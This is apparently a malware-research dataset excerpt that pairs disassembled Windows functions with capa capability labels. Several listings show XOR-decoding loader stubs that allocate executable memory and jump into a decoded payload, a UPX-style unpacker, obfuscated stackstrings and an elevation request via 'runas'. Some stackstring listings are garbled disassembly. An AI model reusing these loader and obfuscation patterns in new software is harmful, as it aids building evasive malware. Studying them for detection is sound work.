joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10037caf
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x4044
call fcn.1003a680
mov eax, dword [0x100bc054]
xor eax, esp
mov dword [esp + 0x4040], eax
push ebx
push ebp
push esi
push edi
mov esi, 0x1000
lea eax, [esp + 0x50]
push esi
xor edi, edi
push edi
push eax
call fcn.1003cd40
push edi
xor ebx, ebx
lea eax, [esp + 0x60]
inc ebx
mov ebp, 0x800
push ebx
push ebp
push eax
call fcn.1001dfe7
add esp, 0x1c
test eax, eax
je 0x10037e60
lea eax, [esp + 0x50]
push eax
push str.11.281.2
call fcn.10047a5c
pop ecx
pop ecx
test eax, eax
jg 0x10037e60
push esi
lea eax, [esp + 0x3054]
push edi
push eax
call fcn.1003cd40
push edi
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x3064]
push ebp
push eax
call fcn.1001e213
add esp, 0x1c
test eax, eax
je 0x10037e60
push esi
lea eax, [esp + 0x1054]
push edi
push eax
call fcn.1003cd40
lea eax, [esp + 0x305c]
push eax
lea eax, [esp + 0x1060]
push ebp
push eax
call fcn.10047a5c
push str._bin_ssvagent.exe
lea eax, [esp + 0x106c]
push ebp
push eax
call fcn.10047a5c
push 0x3c
pop esi
push esi
lea eax, [esp + 0x3c]
push edi
push eax
call fcn.1003cd40
push 0x1000
lea eax, [esp + 0x2084]
mov dword [esp + 0x48], esi
push edi
push eax
call fcn.1003cd40
push str._high__jpisetup__register
lea eax, [esp + 0x2090]
push ebp
push eax
call fcn.10047a5c
add esp, 0x48
call fcn.1002db30
test eax, eax
mov dword [esp + 0x30], ebx
lea eax, [esp + 0x1050]
mov dword [esp + 0x18], 0x40
mov edx, str.open
mov dword [esp + 0x24], eax
mov ecx, str.runas
lea eax, [esp + 0x50]
cmove ecx, edx
push eax
mov dword [esp + 0x24], ecx
call fcn.1002e849
test eax, eax
mov edx, str.__old
mov ecx, str.__new
lea eax, [esp + 0x2054]
cmove ecx, edx
push ecx
push ebp
push eax
call fcn.10047a5c
add esp, 0x10
lea eax, [esp + 0x2050]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10037e5c
mov dword [esp + 0x10], ebx
cmp dword [esp + 0x4c], edi
je 0x10037e5c
push 0xffffffffffffffff
push dword [esp + 0x50]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x50]
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
push dword [esp + 0x4c]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
jmp 0x10037e62
mov eax, ebx
mov ecx, dword [esp + 0x4050]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003a5a7
add esp, 0x4044
ret
Function at 0x10037e7b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1004]
mov eax, 0x1004
call fcn.1003a680
push 0xffffffffffffffff
push 0x100683cd
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x100bc054]
xor eax, ebp
mov dword [ebp + 0x1000], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0x100c]
mov dword [ebp - 0x18], edi
xor ebx, ebx
lea eax, [ebp]
push 0x1000
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.1003cd40
mov eax, dword [ebp + 0x1010]
add esp, 0xc
test eax, eax
je 0x10037ee6
mov esi, dword [eax]
jmp 0x10037ee8
mov esi, ebx
movzx ecx, word [esi]
mov eax, ebx
mov edx, ebx
test cx, cx
je 0x1003800d
cmp cx, 0x2e
jne 0x10037f04
inc eax
cmp eax, 1
jg 0x10037f17
inc edx
movzx ecx, word [esi + edx*2]
test cx, cx
jne 0x10037ef8
cmp eax, 1
jle 0x1003800d
push 0x100a0b00
push esi
call fcn.10047a5c
pop ecx
pop ecx
test eax, eax
js 0x1003800d
push esi
call fcn.100379a5
pop ecx
test al, al
je 0x1003800d
push 0x100a0b18
lea ecx, [ebp - 0x14]
call fcn.1000155e
push 0x100a0b70
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.10012712
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x14]
call fcn.10001697
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
test ecx, ecx
je 0x10037f79
call fcn.100016f0
push esi
lea ecx, [ebp - 0x10]
call fcn.1000155e
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x14]
call fcn.10001697
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 1
test ecx, ecx
je 0x10037fa2
call fcn.100016f0
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x10037fad
mov eax, dword [esi]
jmp 0x10037faf
mov eax, ebx
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10037ff5
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x1000
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
push 0x100a0b74
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10037ff5
xor eax, eax
mov word [ebp], ax
lea eax, [ebp]
mov ecx, edi
push eax
call fcn.1000155e
test esi, esi
je 0x1003802d
mov ecx, esi
call fcn.100016f0
jmp 0x1003802d
push str.1.3.1
push esi
call fcn.10047a5c
push esi
call fcn.100379a5
add esp, 0xc
mov ecx, edi
push 0x100a0606
call fcn.10012712
mov ecx, dword [ebp + 0x1010]
test ecx, ecx
je 0x1003803c
call fcn.100016f0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1000]
xor ecx, ebp
call fcn.1003a5a7
add ebp, 0x1004
leave
ret
Function at 0x100383b1
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push 0x10
mov eax, 0x10068458
call fcn.1003a5de
xor esi, esi
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
and dword [ebp - 4], esi
lea ecx, [ebp - 0x14]
call fcn.1000155e
mov edi, dword [ebp - 0x14]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
test edi, edi
je 0x100383e6
xor eax, eax
cmp dword [edi], eax
sete al
jmp 0x100383e8
mov eax, ebx
test al, al
je 0x100383f3
push 0x100a061a
jmp 0x10038411
test edi, edi
je 0x100383fb
mov eax, dword [edi]
jmp 0x100383fd
xor eax, eax
push eax
call fcn.10038353
pop ecx
test eax, eax
jne 0x1003844c
lea ecx, [ebp - 0x14]
call fcn.10029b00
push eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
je 0x100384b8
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.wsock32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x18]
call fcn.10012712
push eax
lea ecx, [ebp - 0x10]
call fcn.100015bc
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x1003845c
call fcn.100016f0
jmp 0x1003845c
cmp eax, ebx
jne 0x100384b8
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.100015bc
lea ecx, [ebp - 0x10]
call fcn.10029b00
push eax
call dword [sym.imp.wsock32.dll_inet_addr]
push 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push 4
push eax
call dword [sym.imp.wsock32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
je 0x100384b5
mov ecx, dword [esi]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10038487
sub ecx, edx
push ecx
push dword [esi]
call fcn.10047a5c
pop ecx
pop ecx
push dword [esi]
lea ecx, [ebp - 0x18]
call fcn.10012712
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x100384b0
call fcn.100016f0
mov esi, dword [ebp - 0x10]
jmp 0x100384ba
mov esi, dword [ebp - 0x10]
xor bl, bl
test edi, edi
je 0x100384c5
mov ecx, edi
call fcn.100016f0
test esi, esi
je 0x100384d0
mov ecx, esi
call fcn.100016f0
mov al, bl
call fcn.1003a5b8
ret
Function at 0x10047a5c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10047a6b
pop dword [ebp - 0x24]
mov eax, 0x10047a6b
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x46ac5
push 0
mov eax, 0x6bd4e96b
sub eax, 0x5bce58fb
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x43ea
mov edi, eax
mov ebx, 0x3bcad36a
sub ebx, 0x2bba596a
add ebx, dword [ebp - 0x24]
mov esi, 0xd6df22d4
mov dword [ebp - 4], 0x1e286cd7
mov edx, dword [ebx]
mov dword [ebp - 0xc], 0xe495effd
xor edx, esi
mov dword [edi], edx
xor dword [ebp - 0xc], 0xb6f42eaa
add edi, 0x4892d093
add edi, 0xb76d2f71
add ebx, 0xde3fe48c
sub ebx, 0xde3fe488
loop 0x10047ab9
add eax, 0x1027b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x402c00
pop dword [ebp - 0x30]
mov eax, 0xa58e69fd
sub eax, 0xa54e3dfd
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xd3256ac5
sub dword [ebp - 0x40], 0x84d3257a
mov dword [ebp - 0x3c], 0x5b55a479
sub dword [ebp - 0x3c], 0x29225834
mov dword [ebp - 0x38], 0x77a0bb43
add dword [ebp - 0x38], 0xd4ab88eb
mov dword [ebp - 0x34], 0x7304d16d
sub dword [ebp - 0x34], 0x7304d16d
lea eax, [ebp - 0x40]
push eax
mov eax, 0xa8ad3cd7
sub eax, 0xa86cbc4b
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xa06ec151
sub dword [ebp - 0x40], 0x2bfc57fb
mov dword [ebp - 0x3c], 0xf3cfbf23
sub dword [ebp - 0x3c], 0xb2635dae
mov dword [ebp - 0x38], 0xc75705a2
sub dword [ebp - 0x38], 0x63e79936
mov dword [ebp - 0x34], 0xf805397b
add dword [ebp - 0x34], 0x7fac685
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xaf4a698b
sub eax, 0xaf09e8b7
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3715e
push 0
call eax
mov ecx, 0xce679a3f
sub ecx, 0xce6750a9
xor ebx, ebx
add ebx, eax
mov esi, 0xb97a9751
add esi, 0x46c678af
add esi, dword [ebp - 0x30]
mov edi, 0xbddb7f16
mov edx, dword [esi]
add dword [ebp - 0x2c], edx
xor edx, edi
xor dword [ebp - 0x10], 0x3135adbc
mov dword [ebx], edx
add dword [ebp - 0x10], ecx
add ebx, 0x1b882c8c
add ebx, 0xe477d378
add esi, 0x437315db
sub esi, 0x437315d7
loop 0x402d1e
add eax, 0x74ff4591
sub eax, 0x74fe2c66
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x77383235
sub ecx, 0x76f83235
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x403044
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
push 0x67
push dword [0x416180]
call sub.USER32.DLL_GetDlgItem
mov esi, eax
cmp byte [0x415018], 0
jne 0x4030a3
mov eax, dword [0x41723c]
call fcn.004046c0
push 5
push esi
call sub.USER32.DLL_ShowWindow
push 0xffffffffffffffff
push 0
push 0xb1
push esi
call sub.USER32.DLL_SendMessageA
push 0x415095
push 0
push 0xc2
push esi
call sub.USER32.DLL_SendMessageA
mov byte [0x415018], 1
push 0x5f5e100
push 0x5f5e100
push 0xb1
push esi
call sub.USER32.DLL_SendMessageA
mov dword [ebp - 0x3c], 0x3c
lea edx, [ebp - 0x3c]
push edx
push 0
push 0x43a
push esi
call sub.USER32.DLL_SendMessageA
mov byte [ebp - 0x23], 0
mov dword [ebp - 0x38], 1
test bl, bl
je 0x4030f8
and dword [ebp - 0x34], 0xbfffffff
or dword [ebp - 0x34], 1
mov dword [ebp - 0x28], 0xa0
or dword [ebp - 0x38], 0x40000000
lea ecx, [ebp - 0x3c]
push ecx
push 1
push 0x444
push esi
call sub.USER32.DLL_SendMessageA
push edi
push 0
push 0xc2
push esi
call sub.USER32.DLL_SendMessageA
push 0x5f5e100
push 0x5f5e100
push 0xb1
push esi
call sub.USER32.DLL_SendMessageA
test bl, bl
je 0x40314c
or dword [ebp - 0x34], 0x40000000
and dword [ebp - 0x34], 0xfffffffe
lea eax, [ebp - 0x3c]
push eax
push 1
push 0x444
push esi
call sub.USER32.DLL_SendMessageA
push 0x4150bc
push 0
push 0xc2
push esi
call sub.USER32.DLL_SendMessageA
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403e48
Capabilities:
Hide graphical window

Disassembly:
mov dword [0x416198], 1
cmp dword [0x416180], 0
je 0x403e73
mov eax, 0x7d
call fcn.00402ba0
push eax
push 1
push dword [0x416180]
call sub.USER32.DLL_SetDlgItemTextA
xor edx, edx
mov dword [0x41619c], edx
mov dword [0x4161a0], 1
cmp dword [0x416180], 0
je 0x403ed1
push 1
push dword [0x416180]
call sub.USER32.DLL_ShowWindow
cmp dword [0x415054], 0
jne 0x403ec8
cmp byte [0x415018], 0
jne 0x403ec8
push 0
push 1
push 0x111
push dword [0x416180]
call sub.USER32.DLL_SendMessageA
jmp 0x403ec8
call fcn.00402c1c
cmp dword [0x416188], 2
jne 0x403ec3
cmp byte [0x4158f4], 0
je 0x403edf
call fcn.004028fc
ret
Function at 0x40ae54
Capabilities:
Contain obfuscated stackstrings

Disassembly:
movzx eax, word [edi + 6]
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.0040ac3f
and eax, 0x66976571
mov eax, dword [edi + 6]
cmp ax, bx
jbe 0x40ae99
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x40ae93
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x40ae84
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.0040ac3f
dec eax
dec esi
out 0xf7, al
lea eax, [ebp - 0x58]
push eax
call fcn.0040ac4f
mov esi, dword [ebp + 0xc]
push eax

Function at 0x40b014
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lcall 0xc635, 0x9b45c633
inc ebp
pushfd
xor al, 0xc6
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
lahf
adc esi, eax
inc ebp
mov al, byte [0xa145c633]
mov byte cs:[ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040ac4f
push eax
push esi
push dword [ebp + 8]
call fcn.0040ac04
mov dword [ebp - 0xbc], eax
dec dword [ebp + 0x5d88d445]
aam 0x50
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
Function at 0x73fc51c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
lea esi, [ebp + 0xc]
sub esp, 0x10
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], 0x73fc7724
call sym._fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.msvcrt.dll_vfprintf]
call sym._abort
lea esi, [esi]
Function at 0x514650
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4b7015
lea edi, [esi - 0xb6015]
mov dword [edi + 0xf80b4], 0xe76b862
push edi
or ebp, 0xffffffff
jmp 0x51467a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x514681
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x514670
mov eax, 1
add ebx, ebx
jne 0x514693
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5146a4
jne 0x5146c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5146c3
dec eax
add ebx, ebx
jne 0x5146b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x514688
add ebx, ebx
jne 0x5146bf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x514715
xor ecx, ecx
sub eax, 3
jb 0x5146db
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51474a
sar eax, 1
mov ebp, eax
jmp 0x5146e6
add ebx, ebx
jne 0x5146e6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5146b4
inc ecx
add ebx, ebx
jne 0x5146f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5146b4
add ebx, ebx
jne 0x514701
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5146f6
jne 0x514712
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5146f6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x514734
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x514726
jmp 0x514676
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x514734
add edi, ecx
jmp 0x514676
pop esi
mov edi, esi
mov ecx, 0x3e01
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x514752
cmp byte [edi], 0x21
jne 0x514752
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x514757
lea edi, [esi + 0x10b000]
mov eax, dword [edi]
or eax, eax
je 0x5147c6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1144ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11453c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x514784
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x114544]
or eax, eax
je 0x5147c0
mov dword [ebx], eax
add ebx, 4
jmp 0x5147a1
call dword [esi + 0x114540]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5147f7
cmp al, 0xef
ja 0x5147ea
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5147cc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5147d9
mov ebp, dword [esi + 0x114548]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x114852]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x514843
sub esp, 0xffffff80
jmp 0x4014c0
Function at 0x1000671c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000672b
pop dword [ebp - 0x34]
mov eax, 0xf179bcf8
add eax, 0x1e86aa33
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xe8e0d136
add dword [ebp - 0x44], 0x65717415
mov dword [ebp - 0x40], 0xb18811b4
add dword [ebp - 0x40], 0x80ab3a91
mov dword [ebp - 0x3c], 0xa44e6331
add dword [ebp - 0x3c], 0xa7fde0fd
mov dword [ebp - 0x38], 0x25e8abbb
sub dword [ebp - 0x38], 0x25e8abbb
lea eax, [ebp - 0x44]
push eax
mov eax, 0x24acf7ac
add eax, 0xeb53f904
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x48245f17
add dword [ebp - 0x44], 0x2c4e0a3f
mov dword [ebp - 0x40], 0x4be251b6
add dword [ebp - 0x40], 0xf58a0fbf
mov dword [ebp - 0x3c], 0x3a442047
sub dword [ebp - 0x3c], 0xd6d4b3db
mov dword [ebp - 0x38], 0xdcda79c6
sub dword [ebp - 0x38], 0xdcda79c6
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xac787f0b
add eax, 0x6388719d
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3b338
push 0
call eax
mov ecx, 0x90eda566
add ecx, 0x6f12abf4
xor edi, edi
add edi, eax
mov esi, 0x10023800
add esi, dword [ebp - 0x34]
mov ebx, 0x1c5b3549
sub ebx, 0x85cd2091
add dword [ebp - 0x30], edx
mov edx, dword [esi]
mov dword [ebp - 0x20], 0x30955ba4
add edx, ebx
xor dword [ebp - 0x1c], 0xa7c9a489
mov dword [edi], edx
xor dword [ebp - 0x30], edi
add edi, 0x925b9138
sub edi, 0x925b9134
add esi, 4
loop 0x10006849
add eax, 0x4f65f1fb
add eax, 0xb09b4640
mov ebx, eax
add eax, 0xc0e67735
add eax, 0x3f1988d0
mov ecx, 0x38062fe0
sub ecx, 0x28062fe0
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x1000b110
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x1000b168
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x1000b168
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.1000671c
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x1000b700
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x40bc8b
Capabilities:
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x78
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x74]
push 9
pop ecx
xor eax, eax
mov dword [ebp - 0xc], esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x30]
and dword [esi + 8], eax
rep stosd dword es:[edi], eax
push 0x1c
lea eax, [ebp - 0x30]
push eax
push 0
jmp 0x40bd91
cmp dword [ebp - 0x20], 0x1000
jne 0x40bd82
mov eax, dword [ebp - 0xc]
lea esi, [ebp - 0x30]
push 7
pop ecx
lea edi, [ebp - 0x50]
add eax, 0xc
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x30]
lea ecx, [ebp - 4]
push ecx
mov ecx, eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], edi
call main
mov esi, eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
cmp esi, eax
je 0x40bd1d
cmp edi, dword [esi + 0x10]
jae 0x40bd5f
push 0x30
call main
mov edx, eax
xor eax, eax
pop ecx
mov ecx, dword [ebp - 4]
push 7
lea edi, [edx + 0x10]
mov dword [edi], ecx
add edi, 4
pop ecx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0x10]
push edx
push eax
push esi
lea eax, [ebp - 0x14]
mov word [edx + 0xc], 0
push eax
call main
mov esi, dword [ebp - 0x14]
lea edi, [esi + 0x14]
push 7
pop ecx
lea esi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
test byte [ebp - 0x1c], 0x70
je 0x40bd82
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, ecx
div dword [ebp - 0x70]
mov edx, dword [ebp - 0xc]
add dword [edx + 8], eax
jmp 0x40bd85
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
add eax, ecx
lea ecx, [ebp - 0x30]
push 0x1c
push ecx
push eax
push dword [ebx + 8]
call dword [sym.imp.kernel32.dll_VirtualQueryEx]
cmp eax, 0x1c
je 0x40bcd8
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4

Function at 0x40e291
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40e2a0
pop dword [ebp - 0x4c]
mov eax, 0x40e2a0
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x41977
push 0
mov eax, 0xf3238694
sub eax, 0xf2e0c39c
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x44688357
add ecx, 0xbb97bfd3
xor ebx, ebx
add ebx, eax
mov esi, 0x999d3803
sub esi, 0x9958a003
add esi, dword [ebp - 0x4c]
mov edx, 0xe801f9c2
add edx, 0xc03473
add dword [ebp - 0x30], 0x69397790
mov edi, dword [esi]
sub dword [ebp - 0x28], ecx
xor edi, edx
add dword [ebp - 4], 0xccf3f02f
mov dword [ebx], edi
add dword [ebp - 0x24], 0xe5e76bc1
add ebx, 4
add esi, 4
loop 0x40e2fc
add eax, 0xff7b
xor ebx, ebx
add ebx, eax
add eax, 0x389a3aff
add eax, 0xc765c506
mov ecx, 0xfad1165f
sub ecx, 0xfa91165f
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret